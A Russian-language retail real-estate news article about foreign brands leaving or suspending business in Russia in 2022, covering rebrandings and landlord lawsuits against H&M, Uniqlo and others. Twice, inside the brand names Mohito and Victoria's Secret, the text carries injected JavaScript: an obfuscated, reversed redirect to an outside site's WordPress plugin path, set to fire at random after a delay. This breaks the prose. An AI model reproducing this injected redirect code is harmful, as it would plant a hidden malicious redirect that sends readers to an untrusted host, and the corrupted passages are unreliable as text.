Комментарий Анастасии Сивицкой, советника Orchards, для CRE Retail.
Большинство иностранных компаний, приостановивших работу в России в феврале-марте, планируют определиться до декабря. Вариантов по-прежнему несколько: уход, ребрендинг/даунбрендинг, передача представительств интересантам из других стран, выход из договоров с отдельными магазинами. Некоторые игроки, впрочем, собираются и дальше сохранять статус «приостановившихся», однако собственники помещений настроены уже не так лояльно, как полгода назад, требуя пересмотра договоров, штрафов и судов.
По итогам III квартала 2022 года многие крупные международные игроки начали освобождать или оптимизировать площадки в московских торговых центрах, что уже привело к росту среднего уровня вакансии, рассказывает Евгения Хакбердиева, региональный директор департамента торговой недвижимости NF Group (ex-Knight Frank Russia). Однако рынок продолжит искать альтернативные способы для поддержания бизнеса и заполнения пустующих площадей, убеждена она. В итоге до конца года продолжится тенденция передачи бизнеса иностранными компаниями, приостановившими деятельность на территории России, локальным игрокам или странам из списка стран-партнеров. Одни продадут бизнес целиком или частично, другие – передадут долю в доверительное управление локальному менеджменту на время. Такие маневры позволят иностранным ретейлерам в дальнейшем вернуться на российский рынок и продолжить работу в привычном формате. По итогам третьего квартала с начала февральских событий об уходе из России объявили более 15 иностранных брендов (о приостановке деятельности заявили более 180 брендов). Кроме того, было зафиксировано несколько «переоткрытий» под новыми брендами ретейлеров, ранее приостановивших операционную деятельность: L’Occitane («Л’Окситан»), «OBI» (ОБИ), McDonald’s («Вкусно – и точка»), бренды Reserved, House, Cropp, Mohitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to и Sinsay компании LPP Group (RE, CR, M, «Син», «Хс»), CCC (Obuv), Mango и другие. Иностранные компании выработали оптимальные модели и «набор» мер, соглашаются в Orchards: передать российское подразделение компании дружественному партнеру; изменить название юридического лица, на то, которое не ассоциируется с ранее присутствующей компанией; провести ребрендинг.
Пока же H&M до конца года собирается закрыть в России все магазины, а ООО «Эйч энд Эм Хеннес энд Мауриц», представляющее в России бренд H&M, подало в московский арбитраж иск к ООО «Парк развлечений», управляющему комплексом «Остров Мечты». Как сообщает РИА Недвижимость, истец требует от ответчика вернуть имущество, которое осталось на торговой точке, а так же принять помещение по акту ввода от 23 августа 2022 года. Ранее «Эйч энд Эм Хеннес энд Мауриц» уже сообщала о препятствиях в доступе к арендованным помещениям; предварительные слушания назначены на 12 января. До этого суды трех инстанций, в свою очередь, удовлетворили иск собственника объекта к H&M, обязавший выплатить более 0,5 млрд рублей. Иски к зарубежным игрокам торговые центры подавали и раньше – ответчиками по делам «исполнение обязательств по договорам аренды», выступали и выступают Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria’s Secret, Uniqlo, Adidas, Nike и другие игроки. В свою очередь, схемы возможных возвращений или работы под новыми флагами называются экспертами неотработанными, «мутными» и «на эмоциях». Некоторые компании и бренды, узнав о возможном включении их продукции в формат параллельного импорта, например, заявили о том, что, вероятно, продолжат поставки в Россию (Lancome, Redken, Yves Saint Laurent, Giorgio Armani, Kerastase и пр). О том, что на российском рынке намерены остаться все крупные итальянские игроки (Pirelli, Barilla, Ferrero и др.), заявил на днях и президент Ассоциации итальянских предпринимателей в России Витторио Торрембини. По его словам, компании не ведут никаких переговоров об уходе, хотя сейчас для них изменилось многое, в том числе – логистика, удорожание которой составило, как минимум, 15%. Другие участники рынка, впрочем, поспешили откреститься от новых собственников и вообще бизнеса в России. Так, в Inditex уточнили, что группа компаний Daher, которая покупает бизнес холдинга (марки Zara, Bershka, Massimo Dutti, Pull & Bear и др.), «будет работать в стране под собственными брендами», сообщают «Известия».
<…>
Анастасия Сивицкая, советник Orchards, соглашается: иностранные компании пока практически не используют механизм расторжения договора аренды в судебном порядке. «В этом случае нужно доказать существенное изменение обстоятельств, из которых стороны исходили при заключении договора, или существенное нарушение договора другой стороной, – поясняет она. – Но, как показала практика, сформировавшаяся в период пандемии, возможности такого судебного расторжения весьма ограничены. Компании, уходящие с российского рынка, в подавляющем большинстве случаев не смогут сослаться на существенное изменение обстоятельств, из которых стороны исходили при заключении договора, поскольку их решения о прекращении деятельности в России обусловлены не объективными причинами, а являются собственным политическим выбором».
Досудебное разрешение требований позволяет быстрее свернуть деятельность на российском рынке, сохранить репутацию и привлекательность российского актива при продаже, поддерживает Анастасия Сивицкая. Игроки, объявившие о «полном уходе», в большинстве случаев согласны прекратить спор с российской стороной на справедливых и разумных условиях. «Но в случаях, когда требования, предъявляемые к ушедшим иностранным компаниям, являются, скорее, спекуляцией на возникшей ситуации и направлены на безосновательное взыскание баснословных сумм, последние готовы защищать свои интересы в суде, – добавляет эксперт. – Споры с компаниями, которые ушли из России или объявили о приостановлении работы, в большинстве случаев пока не получили разрешения по существу. Волна судебных споров вообще только начинается; имеются отдельные иски с требованиями к H&M, Uniqlo, Adidas, Nike и др. По сведениям из картотеки арбитражных дел, зачастую рассмотрение заканчивается без вынесения судебного акта по существу требований. Истцы заявляют отказ от исковых требований, что косвенно свидетельствует о добровольном исполнении требований ушедшими компаниями и о стремлении урегулировать спор мирным путем».
В качестве примера разрешения спора по существу в Orchards приводят всё то же дело №А41-37099/22, в рамках которого арендодатель пытался взыскать с Uniqlo арендную плату и штраф за неосуществление коммерческой деятельности. Иск удовлетворен частично, требование о взыскании штрафа поддержано. Ситуация является примером типичного поведения иностранной компании, уходящей с рынка, подчёркивает Анастасия Сивицкая: игроки придерживаются концепции исполнения договорных отношений после объявления о приостановлении деятельности, и прибегают к договорным условиям для прекращения обязательств. В целом же пока можно выделить только промежуточные позиции судов об оценке обстоятельств прекращения работы «иностранцев». Например, при разрешении вопроса о принятии обеспечительных мер, суды зачастую рассматривают объявление компании об уходе с рынка, как основание для применения таких мер. Впрочем, общие тенденции судебной практики в России по спорам с «ушедшими» компаниями уже определены. Приостановление/уход иностранной компании оцениваются в совокупности со всеми доказательствами, обосновывающими требование. Обстоятельства приостановления/ухода получают оценку, когда указанный уход действительно имеет правовое значение и влияет на порядок исполнения обязательств. Например, прекращение деятельности расценивается как утрата интереса. Затем – суды чаще, чем обычно, принимают обеспечительные меры против иностранных компаний. Далее – само по себе объявление о приостановлении деятельности является основанием для принятия обеспечительных мер. Разрешая споры в пользу российского юридического лица, суды ссылаются на наличие публичного интереса. Приостановление же деятельности/уход иностранной компании не становятся поводом для легализации противоправного и недобросовестного поведения контрагентов (уход иностранного лица не повод для неисполнения обязательства).